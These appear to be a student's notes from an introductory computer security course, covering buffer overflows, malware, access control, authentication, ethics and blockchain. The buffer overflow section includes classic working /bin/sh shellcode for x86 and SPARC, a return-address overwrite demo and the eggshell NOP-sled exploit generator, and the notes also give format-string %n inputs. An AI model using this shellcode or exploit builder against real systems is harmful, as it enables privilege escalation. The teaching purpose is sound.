Introduction

Assignments

• 4 Assignments worth 25% each
• Written and/or programming
• Start ASAP

Textbooks

• Computer Security and the Internet
• Security in Computing 5th edition

Goals (CIA)

• Confidentiality: limiting access to authorized parties
• Integrity: when you receive data, you get the “right” data
• Availability: the system or data is there when you want it
  • Hardest to uphold since attacker has many ways to take down a system

Security and Privacy

• When the entities are different, they may appear to be opposing, but when the entity is the same (you), then it works complimentary
  • Airport Security
  • App sandboxing and permissions
  • PIPEDA (Personal Information Protection and Electronic Documents Act) for private-sector privacy legislation
    • Forthcoming Consumer Privacy Protection Act to modernize protection: meaningful consent, right to erasure

Adversaries

• Murphy Amateurs
  • Bugs waiting to be exploited
• Script kiddies
  • People who just copy attacks from other people
• Crackers or Hackers
  • Hacker is a general term, not necessarily related to security
  • Cracker is 100% only related to writing things for script kiddies and etc.
• Organized crime
• Government “cyberwarriors”
• Terrorists

Terminology

• Assets
• Vulnerability
  • Weaknesses that may be able to be exploited
  • e.g. file server without authentication
  • API to access GPS coordinates without authenticating apps
• Threats
  • A loss or harm
  • Interception
  • Interruption
  • Modification
  • Fabrication
• Attack
  • An action which exploits a vulnerability to execute a threat
• Control/Defence
  • Removing or reducing a vulnerability
  • Prevent an attack and defend against a threat

Methods of Defence

• Prevent it
• Deter it
• Deflect it: make yourself less attractive to attacker (Xbox)
• Detect it
• Recover from it
• Defence in depth
• Your car may get stolen
  • Park inside your garage
  • Lock your car
  • Insurance

Weakest Link

• A system is only as strong as its weakest link

Defence of Computer Systems

• Cryptography
  • Digital signatures
  • Cryptographic protocols
  • Unreadable to an attacker
• Software Controls
  • Passwords
  • Separate user actions from each other
  • Virus scanner
  • Development controls
  • Firewalls
• Hardware Controls
  • Fingerprint
  • Smart tokens
  • Trusted Execution Environments (TEEs)
• Physical Controls
  • Locks
  • Guards
  • Off-site backups
• Policies and Procedures
  • Non-technical means can be used to protect against some classes of attack
  • Rules about choosing passwords
  • Training in best security practices
  • VPN

Program Security

Linux Security Basics

What is the root user, and what is sudo, and how does it work?

The root user, is the super-user with user ID 0 on a Linux system which implies they have full uncapped control over the entire system and are allowed to do anything they want.

Therefore, certain programs restrict actions to the root user as they are basically saying “we are doing or want to access something critical, therefore the root user needs to run this program.” This is there to protect the system from non-root users and programs.

So to run programs that require the user to be root, either we log in as the root user and run every program by default with privilege or we use the sudo (superuser do) program to run other programs as the root user. The sudo program is a program with root access (well one specific one which is the ability to set a program’s userID) that lets us run programs as any other user, however the default behaviour is to try running as the root user.

Now how does sudo actually figure out if the non-root user can run programs as root? Security policy. It first checks if the command is allowed to be run by root by the user via the patterns in the /etc/sudoers file. This means that sudo will not ask for the password. Anyways, the sudo program will do all those pattern checks and then will try to see if you are part of the sudo group. The sudo group is a group that can use the sudo command arbitrarily.

Want to know if you are part of the sudo group?

groups $USER | grep -q sudo && echo "you are sudo" ||  echo you are not sudo

Flaw, faults, and failures

• Flaw is a problem with a program
• Security flaw is a flaw that affects security in some way (confidentiality, integrity, availability)
• Flaws are faults or failures
  • A fault is a potential problem and behind the scenes
  • Once exploited, it becomes a failure

Finding and Fixing Faults

• Fuzzing:
  • Test with random input
• Think like an attacker
• Can work backwards if user reported a failure
• Make patches to the program
• Penetrate and patch
• MIcrosoft’s “Patch Tuesday”
• Zero day: problem not known to the vendor

Problems with patching

• HIgh pressure to fix the fault results in narrow focus instead of broad underlying problem
• Fault caused other, unnoticed failures, and a partial fix
• Patch causes new faults, here or elsewhere

Alternatives?

• Test based updating
  • Create a test for the security vulnerability and then fix code so that tests pass

Unexpected Behaviour

• Program has a spec for what the program must do
• From security POV, extra behaviours could be bad
• Always consider “and nothing else”
• How to test Should do vs. Should not do

Types of security flaws

• Genesis method
  • Intentional
    • Malicious
    • Non-malicious
      • A backdoor or a bad security that was supposed to be removed
  • Unintentional

Most security flaws are unintentional program errors

Unintentional Security Flaws

• Heartbleed Bug in OpenSSL (April 2014)
• TLS Heartbeat mechanism was designed to keep SSL/TLS connections alive even when no data is being transmitted
• Random data and a payload length
• Other peer supposed to respond with a mirror of exactly the same data
• Missing bounds check in the code
• Attacker can request 64KB of memory space from the same area that holds server’s private key

Types:

• Buffer overflows
• Integer overflows
• Incomplete mediation
• Format string vulnerabilities
• TOCTTOU errors (Time-of-check to time-of-use)

Buffer Overflows

• Most commonly exploited type of security flaw
• Program code (Text)
• Global data (BSS and data segments)
• Heap (dynamically allocated data)
• Function call data (Stack)
  • The stack increases (lower memory addresses) as functions are called (frames)
  • x86 architecture
• Important addresses: Return Address and Frame Pointer
• Example

#defined LINELEN 1024
char buffer[LINELEN];

gets(buffer);
// OR
strcpy(buffer, arv[1]);

What happens when the buffer length < than the first argument?

int check_signature(char *str, int j) {
  int i = 0;
  char user_signature[24];
  strcpy(user_signature, str);
  if(isValid(user_signature));
    i = 1;
  return i;
}

// main FRAME
...
// check_signature FRAME
j
&str                                                          FP + 8
Return Address (RA)
Old Frame Pointer (FP)                           ←--- FRAME POINTER HERE
............
Padding
............
Value of i
user_signature[23]
...
user_signature[0]

When a function call returns, the OLD FP and local variables of its stack are popped but the args and RA are kept since it’s part of its parent’s local variables.

Str = “randomStringLongerThan24Bytes”

We can use \xbf... to overwrite the return addresses such that the function and program returns to another part. We can also set that i = 1 through.

• Crash reasons
  • overwritten RA to an invalid address
  • unmapped virtual address
  • valid address does not point to an instruction
    • Question: by is not an instruction, is that a raw data does not correspond to an instruction, or is it in the wrong part of the code?
  • address content is off-limit

gdb example3
(gdb) disassemble main

#include <stdio.h>

void main() {
   char *name[2];

   name[0] = "/bin/sh";
   name[1] = NULL;
   execve(name[0], name, NULL);
}

#include <stdlib.h>

void main() {
        exit(0);
}

char shellcode[] =
        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
        "\x80\xe8\xdc\xff\xff\xff/bin/sh";

char large_string[128];

void main() {
  char buffer[96];
  int i;
  long *long_ptr = (long *) large_string;

  for (i = 0; i < 32; i++)
    *(long_ptr + i) = (int) buffer;

  for (i = 0; i < strlen(shellcode); i++)
    large_string[i] = shellcode[i];

  strcpy(buffer,large_string);
}

(gdb) disassemble main
...End of assembler dump.
(gdb) x/bx main+3
0x8000133 <main+3>:     0xeb

char shellcode[] =
	"\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
	"\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
	"\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
	"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";

void main() {
   int *ret;

   ret = (int *)&ret + 2;
   (*ret) = (int)shellcode;

}

Problem instruction:                 Substitute with:
--------------------------------------------------------
movb   $0x0,0x7(%esi)                xorl   %eax,%eax
molv   $0x0,0xc(%esi)                movb   %eax,0x7(%esi)
                                    movl   %eax,0xc(%esi)
--------------------------------------------------------
movl   $0xb,%eax                     movb   $0xb,%al
--------------------------------------------------------
movl   $0x1, %eax                    xorl   %ebx,%ebx
movl   $0x0, %ebx                    movl   %ebx,%eax
                                    inc    %eax

unsigned long get_sp(void) {
   __asm__("movl %esp,%eax");
}
void main() {
  printf("0x%x\n", get_sp());
}

// shellcode.c
#if defined(__i386__) && defined(__linux__)

#define NOP_SIZE	1
char nop[] = "\x90";
char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_sp(void) {
   __asm__("movl %esp,%eax");
}

#elif defined(__sparc__) && defined(__sun__) && defined(__svr4__)

#define NOP_SIZE	4
char nop[]="\xac\x15\xa1\x6e";
char shellcode[] =
  "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e"
  "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
  "\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08"
  "\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd0\x20\x08";

unsigned long get_sp(void) {
  __asm__("or %sp, %sp, %i0");
}

#elif defined(__sparc__) && defined(__sun__)

#define NOP_SIZE        4
char nop[]="\xac\x15\xa1\x6e";
char shellcode[] =
  "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e"
  "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
  "\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\xaa\x10\x3f\xff"
  "\x91\xd5\x60\x01\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd5\x60\x01";

unsigned long get_sp(void) {
  __asm__("or %sp, %sp, %i0");
}

#endif

// eggshell.c
#include <stdlib.h>
#include <stdio.h>
#include "shellcode.h"

#define DEFAULT_OFFSET                    0
#define DEFAULT_BUFFER_SIZE             512
#define DEFAULT_EGG_SIZE               2048

void usage(void);

void main(int argc, char *argv[]) {
  char *ptr, *bof, *egg;
  long *addr_ptr, addr;
  int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  int i, n, m, c, align=0, eggsize=DEFAULT_EGG_SIZE;

  while ((c = getopt(argc, argv, "a:b:e:o:")) != EOF)
    switch (c) {
      case 'a':
        align = atoi(optarg);
        break;
      case 'b':
        bsize = atoi(optarg);
        break;
      case 'e':
        eggsize = atoi(optarg);
        break;
      case 'o':
        offset = atoi(optarg);
        break;
      case '?':
        usage();
        exit(0);
    }

  if (strlen(shellcode) > eggsize) {
    printf("Shellcode is larger the the egg.\n");
    exit(0);
  }

  if (!(bof = malloc(bsize))) {
    printf("Can't allocate memory.\n");
    exit(0);
  }
  if (!(egg = malloc(eggsize))) {
    printf("Can't allocate memory.\n");
    exit(0);
  }

  addr = get_sp() - offset;
  printf("[ Buffer size:\t%d\t\tEgg size:\t%d\tAligment:\t%d\t]\n",
    bsize, eggsize, align);
  printf("[ Address:\t0x%x\tOffset:\t\t%d\t\t\t\t]\n", addr, offset);

  addr_ptr = (long *) bof;
  for (i = 0; i < bsize; i+=4)
    *(addr_ptr++) = addr;

  ptr = egg;
  for (i = 0; i <= eggsize - strlen(shellcode) - NOP_SIZE; i += NOP_SIZE)
    for (n = 0; n < NOP_SIZE; n++) {
      m = (n + align) % NOP_SIZE;
      *(ptr++) = nop[m];
    }

  for (i = 0; i < strlen(shellcode); i++)
    *(ptr++) = shellcode[i];

  bof[bsize - 1] = '\0';
  egg[eggsize - 1] = '\0';

  memcpy(egg,"EGG=",4);
  putenv(egg);

  memcpy(bof,"BOF=",4);
  putenv(bof);
  system("/bin/sh");
}

void usage(void) {
  (void)fprintf(stderr,
    "usage: eggshell [-a <alignment>] [-b <buffersize>] [-e <eggsize>] [-o <offset>]\n");
}

SHELL CODE
NOP
FILLED RAS

Single Bytes Buffer Overflow

• Programmers forget to allocate null terminator so a single byte can be written past the end of the buffer
• Heap Overflow

Causes

• Missing boundary check
• Ability to overwrite important memory regions
• Data is treated as code and executed
• Predictability of the addresses

Defences

• Use a language with bounds checking
• Canaries (padding between data and return address)
• Check if stack has been overwritten before the return from each function
• OS
• Hardware

Cross-Site Scripting (XSS) Attacks

• Use browser interprets the data as code
• Client-side mediation
  • Invalid data
  • Client is arbitrary, so need to enforce validation on server

Format String Vulnerabilities

• printf(buffer) instead of printf("%s", buffer)
• provide input:%d...%s
• Suppose we want to read a variable pin and the address through debugging is said to be 0x0804fa88
• Provide input 0x0804fa888%d...%s
• Provide input 0x0804fa888%d...%n ← %n can change the value

TOCTTOU

• time-of-check to time-of-use
• gap between time of check and the time of use
• unix terminal was running with SU to allocate terminals to users (which was a privilege operation)
• Supported command to write to log file
• First checks if the user has the permissions to write to the requested file, and opens the file for writing
• The attacker would first make a symbolic link to a file they she owned, and then changes it to another file
• The attacker would most likely run the exploit in a loop
• Defences:
  • Atomic operation
  • Use file handles not file names since file handles cannot be changed

Malicious code: Malware

• Malicious software
  • User action
    • Channels
      • USBs are automatically executed
      • Downloading and running
      • Executable email attachment
      • Inserting CD/DVD or USB flash drive
  • Exploiting an existing fault in a system
    • Whatsapp buffer overflows is SMS daemon
  • Virus
    • Adds itself to benign programs/files
    • Code for spreading + code for actual attack
    • Usually activated by users
  • Worms
    • Spreading with no or little user involvement
  • Trojans
    • HIdden in seemingly innocent program
  • Logic bombs
    • Hidden in programs already on your machine
  • Infection
• Infection
  • Infect the computer itself
  • Modifying the boot loader
  • Executable: modifying other programs and add to the beginning
  • Macros: edit other documents to add itself as a macro which starts automatically
• Payload
  • The bad thing
    • Erase hard drive
    • Corrupt some of your spreadsheets
    • Keylogger
    • Attacks a website
• Signature-based protection
  • Keep a list of all known viruses
  • Infection code and payload code
  • viruses try obfuscation
• Polymorphism
  • When code is shared, the virus is encrypted, and then decrypted
  • Encrypt with different keys for different machines
• Behaviour-based protection
  • Run in a sandbox first
  • Look for suspicious patterns not specific code fragments
• False negative vs. False positive
  • False negative is worse
• Code Red Worm
  • 2001, IIS exploit, patch available for more than one month
• Stuxnet
  • Discovered in 2010, targets Siemens SCADA systems installed on Windows. Gas centrifuges.
  • Four zero-day vulnerabilities
  • Very targeted
• IoT Malware
  • Limited in terms of resources
• Trojan Horses
  • Programs which claim to do something innocuous but hide malicious behaviour
• Scareware
• Ransomware
• Web bug
  • Intuit violation of privacy
• Back doors
  • Debugging left overs

Privilege Escalation

• A legitimate part that runs with higher privieldge
• Attacker wants to trick the system into running custom command
• StrandHogg 2.0: Critical Android flow allows app hijacking, data theft

Rootkits

• often used by script kiddies
• Two main parts
  • gaining unauthorized root / admin priviledges
    • known exploit
    • backdoor added
  • hides existence
    • clean up log messages created by exploit
    • modify commands like ls and ps to not report files and processes by the rootkit

Example: Sony XCP

• Mark Russinovinch developed rootkit scanner for Windows
• Sony audio CD player (XCP) “copy protection”
• audio CD has an autorun.exe which auto executes and installs a rootkit
• Sony released an uninstaller that left a back door
• Hard to find and uninstall because files and processes started with $sys$ were hidden
• It’s basically HIV but for computers

Keystroke Logger

• record of email / IM you send, all passwords you type
• data can abe access locally or sent to a remote server
• installed by malware
• application specific
• system specific
• hardware keyboard logger

Interface Illusions

What if dragging on that “scrollbar” really dragged a program (from a malicious website) into your “Startup” folder (in addition to scrolling the document)? This really happened

• Conficker worm had “open folder and view files” under Install or run program.

Clickjacking

• trick user into clicking something disguised as innocuous

Phishing

• Example of interface illusion
• Can make the website look like the real thing
  • Everything except for the URL (but it’s possible to have very hidden characters)

Man-in-The-Middle

• man in the middle intercepts communication from user and sends it to the intended party
• sees, records, and can capture passwords, and insert malicious commands

Nonmalicious flaws: Covert Channels

• Attacker creates a capability to transfer sensitive Information through a channel that is not supposed to transmit information
• What information can/cannot be transmitted through a channel may be determined by a policy/guidelines/physical limitation
• An attacker sees that the victim, although not using internet, publishes a report summarizing public information
• The attacker can hide the data in the report

Cache Timing side channels

• Spectre and Meltdown attacks
• Caches are shared: by timing cache access, a process can learn information about data used by another.
• Speculative and out of order execution can be exploited

Other Potential Attack Vectors

• Bandwidth consumption
• Timing computations
• Electromagnetic emission
• Sound emissions
• Power consumption
• Differential power analysis
• Differential fault analysis

Controls Against Security Flaws

• Several stages in software life cycle
• Design

Design - Modularity

• each responsible for a single subtask
• easier to check for flaws
• low coupling

Design - Encapsulation

• self-contained
• reduce coupling
• do not need to know implementation of other modules (use APIs)

Design - Information Hiding

• Implementation and internal state should be hidden from developers of other module
• Prevents reliance on behaviour not promised in the API
• also hides malicious actions
  • Samsung.pck

Design - Mutual Suspicion

• Input validation / sanitation

Design - Confinement

• Sandbox functionality of other modules that are required

Security Controls Implementation

• don’t use C
• static code analysis
  • software products that look for buffer overflows, TOCTTOU
  • do not rely on them
• hardware assistance
  • ARM Pointer Authentication https://lwn.net/Articles/718888/
  • Hardware-assisted shadow stack https://lwn.net/Articles/758245/
  • Capabilities in hardware https://www.cl.cam.ac.uk/research/security/ctsrd/cheri/
• formal methods
  • try proving that the code is correct
  • not really possible
  • need markups or assertions
• genetic diversity
  • lots of machines run the same code, but if there was more different implementations, less common flaw
  • same thing happens in agriculture

Security Controls - Code Reviews

• LGTM!
• Just get the code
• Better: guided walk-through
  • explain code to reviewers (comments suffice imo)
  • good for changes to code
• Easter egg code reviews are when no problems are assumed
  • Therefore, author can intentionally insert flaws so reviewer reviews better

Security Controls - Testing

• black-box
• fuzz testing
  • random data
• white-box
  • useful for regression testing
  • suite of tests created

Security Controls - Docs

• write down choices made and why they were made
• if there is a question to do a secure thing, it should be done and ask if it should be removed rather than not enforced at all and left as a TODO

Standards, Processes, Audit

• standards: what to use (design, testing, etc)
• processes: how to implement standards
• audits: verification that implementation was done correctly

Operating Systems

• allows different entities to access different resources in a shared way
  • files, memory, etc.
  • (subjects vs. objects)

Separation in OS

• Keep user’s objects separate from other users
• Physical
• Temporal
• Logical
• Cryptographic

Access control lists (ACLs)

• Each object has a list of subjects and their access rights
• Determine set of allowed users per objects
• Determine set of objects that a user can access
• Revoke a user’s access right to an object or all objects

ACLs and capabilities

• UNIX each file has an ACL and the caller is given a list of capabilities as well
• UNIX Permissions

Authentication Factors

• Something the user knows

  • Password, PIN

• Something the user has

  • Badge

• Something the user is

  • Biometrics

• User Context

  • Location, time, devices in proximity

• There’s also https://github.com/johwconst/keystrokeDynamics2FA

Passwords

• 8 in length can be cracked easily
• Probably want a password at least 10 in length
  • Don’t use acronyms, use full form
• Password hygiene
  • Use a password manager to create and store password
  • Autofill option
  • Problem?
• NIST Advice for Develoeprs
  • Allow copying
  • Do not prompt password changes as it leads to cycling

Cryptographic Tools

• Hash: Fixed length deterministic output from a variable-length input value
• Mac: one-way, computers a password fingerprint
• Encryption: with a secret key you can recover data

Adobe Password Hacks

• Each password has a hint (123456)

Biometrics

• physical characteristics
• sufficiently close
• observed fingerprint will never be identical to previously stored fingerprint of the same user

Trusted System Design Elements

• Security must be part of design early on
  • Hard to retrofit security, see Windows 95/98
• Android later added user switching and camera was not secure at the beginning
• Least privilege
  • In A1, pwgen has setuid0 when it only needs to write to the /etc/shadow file
• Economy of mechanism
• Open design
  • Avoid security by obscurity
• Complete mediation
• Permission based / fail-safe defaults
• Least common mechanism
  • shared mechanism could be used as covert channel
• Ease of use
  • don’t want protection mechanism to be difficult to use, nobody will use it or will use it incorrectly
  • Android before: grant all permissions in the beginning
  • Android now: grant permission one by one based on usage

Complete Mediation

Complete mediation means that every access to every object should be authorized.

Default Allow vs Default DEny

• blacklist
• whitelist

Access Control

• Mandatory access control (MAC)
  • central authority establishes who can access what
  • good for military
  • chineses wall, Bell-LaPadula, biba
• Discretionary access control (DAC)
  • Owners can control
  • Grant others access to your home directory

Bell-LaPadula

Can’t write down and can’t read up. Can’t read when not part of the same groups as the access required. Can write to more groups, but not less.

Example

• sales.txt: Secret and for groups Accounting and Sales
  • Person with Top Secret and Accounting cannot read the file
  • Person with Unclassified and Accounting can write the file permissions
  • Person with Top Secret cannot write the file
  • Person with Accounting and Marketing cannot read nor write the file

Biba Model

• Prevent inappropriate modification of data
• Subjects and objects are ordered by an integrity classification scheme, I(s) and I(o)
• Write access: I(s) ≥_dom I(o)
• Read access I(o) ≥_dom I(s)
• Subject Low watermark: if subject s reads object o, then I(s) = glb(I(s), I(o)), where glb() = greatest lower bound
• Object Low Watermark Property: if subject s modifies object o, then I(o) = glb(I(s), I(o))
• Integrity of subject/object can only go down, information flows down

Object Protection

• Hidden data
  • Deleting a file will not physically erase file on disk
  • Deleting text in MS word might not remove text from document
  • Putting black box over text in PDF leaves text in PDF

Accountability and Audit

• Granularity of event logging

Virtualization

• Isolation
• Virtual memory: page mapping
• Virtual machines: virtualize I/O devices, file, printers
• A sophisticated rootkit could run the OS in a virtual environment controlled by the rootkit and it would be undetectable

Mobile OS Security

• Embedded
• Sensors
• Ubiquitous connectivity (4G / 5G, NFC)

Overview of Android OS

Mobile OS Security Mechanisms

• Different communication channels (wifi, nfc, cellular, bluetooth)
• Threats: what is stored on the mobile devices

Mobile App Security

Mobile OS Known Vulnerabilities and Flaws

• WHo could introduce flaws?
  • App developers, tools
  • Distributors: googel play, sideloading, alternative markets
  • Administrations configure the app
  • Vendors of the AndroidOS who can modify the kernel

Android Permissions

• Linux Kernel, Framework / SDK, Applications
• Manifest file for permissions
• Prompt user for granting app permissions
• Runtime Permissions (aka Dangeorus Permissions)
• Allow additional access to restricted data
• Pemrission history
• Special Permissions
  • Allow access to senstive system resources like drawing over other apps
• UID is always the same
• Process ID is different on every run
• Binder IPC (inter-process communication)
  • APIs in remote service objects are called as if they are local
• Intents
  • Intents pass a messaging object from a callinga pp to another app

Mobile Framework Security

• Creating a Permission Map through Dynamic Analysis
• Motivation
  • Lack of understanding Android Access Control
  • Incomplete / Missing security docs and specs
  • Highly customized ecosystem
  • Access control anomolies
  • Potential vulnerabilities
• Solution
  • API to Permission Maps
• Dynamic Analysis uses techniques
  • Virtual environment or actual device
  • Want to look for specific behaviours characterizing a vulnerability or a property
• Static Analysis
• Invoke all APis from unpriviledged apps and detect the checks that protect them
• Apps do not need permission to dsiable its own component
• To disable another users’ app component, need permission to do that
  • Permission map
    • Need interact accross users for different user id or change related setting for different app
• Static Analysis
  • Identify entry points defined in the framework
  • Build control flow grpah of each API
  • Perform a reachability analysis on the cfg
  • Identify access control enforcement methods
    • Path insentitive: union of all identified permissions
    • Path sensitive:
      • Extracting path conditions from entry
      • First-order logic formula by disjunction of path conditions

App Privacy

• Information Leakage
• IMEI, GPS coordinates, SMS messages, banking information

Ethics and Laws

Laws, morality, and theifs are all beliefs, claims, rules, and norms about how we should live and behave

Cambridge Analytica

• Facebook launched open graph in 2010
  • External developers can request access to their data and their friends’ data
• In 2013, an app “thisisyourdigitallife” approached to almost 300,000 users and paid them to take a psychological test.
• In 2014, Facebook adapted its rules to limit a developer’s access to user data, especially the friends’ data
• In 2015, The Guardian reported that Cambridge Analytica was helping Ted Cruz’s presidential campaign. FB acknowledged the data leak and argued that they have legally pressured Cambridge Analytica to remove all of the data they had improperly acquired
• In 2016, Cambridge Analytica was responsible for the “Defeat Crooked Hilary” video campaign on FB (assisting Trump’s team).
• Exposed in 2018 by The Guardian because of whistle blower Christopher Wylie. 50 million to 87 million users estimated to been impacted.
• Slew of fines. UK UCO 2018: 500,000 pounds, FTC 2019: $5B, SEC 2019: $100M

Linux Kernel University of Minnesota

• Intentionally adding buggy code and not informing the reviewer beforehand

What is Law

• Formal rules governing society
• “Basic” and objectively enforceable
• Species with great detail what must be done and what not to do
• Upheld and applied by state-backed justice system
• Not enough:
  • lengthy legislative process does not keep up with technology
  • very narrow focus

Non-Violations of Law

• mood manipulation study by Facebook in 2012
  • news feed was scweed by facebook scientists
  • some people were shown content with more positive words
  • others were shown content sadder than average
  • Finding 1: more negative → negative status messages
  • Finding 2: neutral content → reduction in words produced by person
• Facebook had this in its terms and services

What is Morality

• informal framework of values, principles, beliefs, customs, ways of living
• social pressure
• an individual strongly bounded to a moral system may consider questioning the moral system as wrong
• unconscious formation: family, community, culture
• habit without explicit thinking and reasoning process
• rarely a moral authority agreed by every individual

Ethics

• Branch of philosphy that answers what should I do? out of all possibilities
• ethical decision is a conscious reasoning process based on each individual’s values, principles, and purpose — do something that is good, right, and meaningful
• ethics is the framework to reason about issues that the laws cannot or do not address
• Ethics is the framework to examine a moral system to see whether the principles and rules there make sense
• ethical reflections shape laws and moral systems a society will develop

Responsible DIsclosure

Suppose a vulnerability is found, what should you do?

• coordinated vulnerability disclosure
  • private full disclosure to all responsible parties (e.g., software vendors for most software bugs)
• wait for patch (90 to 120 days)
• public partial disclosure to pressure responsible parties
• public full disclosure in the interests of pontential victims

Building Ethically

• Get as many dissenting voices as possible
• Explain how something works, what can go wrong, how can bad actors take advantage of non-experts
• privacy and data protection norms vary accross regions
• consult other experts

Non-Experts

• does it work as intended?
• who does this effect?
• does data need to be collected?
• tool not working?
• failure modes? abuses?
• who is effected?

Independent Experts

Insitutional review boards (IRB), independent ethics committee (iEC), ethical review boards (ERB), research ethics board (REB).

Professional Codes

• Association for Computing Machinery (ACM)
• Institute of Electrical and Electronics Engineers (IEEE)
• Canadian Information Processing Society (CIPS)
  • Protect Public Interest and Maintain Integrity
  • Demonstrate Competence and Quality of Service
  • Maintain Confidential Information and Privacy
  • Avoid Conflicts of Interest
  • Uphold Responsibility to the IT Professi

Legal Protections

In contrast to real property, so-called “intellectual property” (IP) differs in important ways:

• It is non-depletable
• It is replicable
• It has minimal marginal cost

Four kinds

• Trade secrets
• Trademarks
• Patents
• Copyright

What?

• differnet intangible
• different rights
• different durations
• different registration process

Trade Secrets

• people you have to tell are not able to pass it on

Reverse engineering

• figuring out how something works or taking it apart to figure out how it works
• trade secret protection is lost
• Kerckhoffs’s principal: do not depend on secrecy for cryptographic security. RC4 was reverse engineered in 1994

Trademarks

• names, brands, logos, domain names
• make a legal filing showing that you are using the name in commerce
• have to be renewed

Patents

• inventions including algorithms
  • Novel
  • Useful
  • Non-obvious
• many cryptographic patents

Copyright

• Protects expressions of ideas but not the ideas themselves
• Life + 50 in Canada, Life + 70 in USA

Cyber Crime

• Bizarre rulings:
  • value of stolen data was the value of the paper it was printed on
  • value of stolen manual was equivalent to equipment it was for
• Computer forensics (admissibility)
• Cybercrime treaty
  • computer crime is often international
  • The Council of Europe cybercrime treaty
    • “making it easier for law enforcement to access telecommunications traffic (including voice, data, and Internet)”

Non-technical Aspects of Security

Security Plan

• what security goals
• how are they met?
• how they will stay met

Seven parts

• Policy: high-level goals and priorities
• Current state: risk analysis, anticipation of new situations
• Requirements: what are the security and privacy needs
• Recommended controls: how to provide those needs
• Accountability: who is responsible for what
• Timetable: when the elements of the plan will be performed
• Continuing attention: how often the plan should be updated

Developing the Security Plan

Input from several constituencies

• Upper management / CTO / CIO (setting policy)
• IT (hardware group, sysadmins)
• Systems and application programmers, DB admins
• Data entry personnel
• Physical security personnel
• Representative users
• External consulting / advisory board

Business Continuity Plan

A way out of availability situations,

• Catastrophic: a large part (or all) of a computing capability is suddenly unavailable
• Long duration: the outage is expected to last for so long that business would suffer if left unattended

Need redundancy and arrange backups and training employees. What about live testing?

Risk Analysis

• Identify assets
  • Hardware
  • Software
  • Data
  • Documentation
  • Procedures
  • Reputation
• Determine vulnerabilities
  • Threat modeling
  • Think like an attacker and be very creative, even outlandish
• Estimate likelihood of exploitation
  • acturial science
  • what is the chance of a buffer overflow bug with arbitrary code execution? With stack canaries? with ASLR?
• Compute risk exposure
  • legal obligations
  • penalities
  • harm
  • value of keeping it away from competitors
  • cost of delaying or out sourcing data processing when systems down
• Survey applicable controls
  • different ways to control vulnerabilities
• Project savings due to control
  • savings = risk exposure - cost of control - new risk exposure
  • when savings >= 0, apply control (risk averse); insurance.

Physical Security

• attacker steals laptop off of desk

Blockchain

• each block contains a hash of the previous block
• header: hash of previous block and hash of current block’s payload
  • this is better because ensures authencity of the payload
• payload: app specific info
• Making it harder to revert transactions:
  • Ensure that the first k bits of the header hash starts with 0. Expect 2^k hash operations to find a valid N such that header is HN...R
• N is nonce. Need to find a nonce such that the header hash remains unchanged
• Deterrent: longer chains are preferred over shorter chains
  • Need hash power equal to blocks between chain head and the crucial block times 2^k
  • would need to mine slower than the rest of the participants

Confrmation Level

• Why do we need extra blocks when there is no 51% power?
• Pre-mining of a block which is revealed after transaction is sent
• Send two transactions in a short window to trigger a fork
• Send two transactions to seperate haves of the network
• Drawbacks:
  • slow confirmation (10 minutes to confirm on bitcoin, with waiting for 6)
  • vulnerable to 51%
  • energy consumption since hashing doesn’t do anything else
    • running a payment system is important though

Proof of Stake

• Chance of node being elected to propose a new block is proportional to its staked value
• collisions not allowed, only leader creates a block
• If more than 50% of staked resources are controled, then attacker can prove fraudulent transactions
  • Attacker loses the weapon to future attacks, and is not easily recoverable
  • Solution is to hard fork to invalidate fradulent transactions added by attacker
  • social coordination is required

Chain Validation (Nothing at Stake)

• Attacker double spends (1% stake)
• Next block proposer has no incentive to select which chain to converge on and has no idea which chain survives in the future, so mines both
• When it’s alice’s turn again, she chooses the favouralbe block
• Ethereum Slash protocol
  • Penalize those who “equivocated” (voted on two different versions)
  • Penalize those who voted on the wrong block regardless of if they double-voted

Long Range Attacks (Bootstrapping)

• Bob first joins the network, which chain to accept?
  • Not expensive at all to create a counterfeit chain
• Casper (ethereum) depends on trusted nodes to broadcast the correct block hash

Common Bugs and Vulnerabilities

Memory Errors

• a bug where memory not intended to be read or modified is read or modified
• Heartbleed Vulnerability
  • Tell server more length than actually supplied
  • Server ended up returning more than required string
  • Affected 70%
  • CRA was affected and 900 taxpayers’ identities were stolen
  • RCMP charged computer science student (unauthroized use of computer and mischeif)

char buff[8];
int correct = 0; // in GCC convention, this variable will appear before the buff buff[0],...,buff[7],correct

Von Neumann Architecture

• CPU does not care about semantics

What is Memory

• Text (program code), Stack, Heap, Global (static)
• Linux x86-64 convetion
  • Environment
  • Stack (grows to lower addresses)
  • Heap
  • BSS
  • Data (read from program binary as well - GLOBAL/STATIC)
  • Text (lower address)

Heap vs. Stack

• Must be manually managed
• Any program can apparently use just the stack

what does malloc() do?

• malloc is provided by the clib (e.g. glibc)
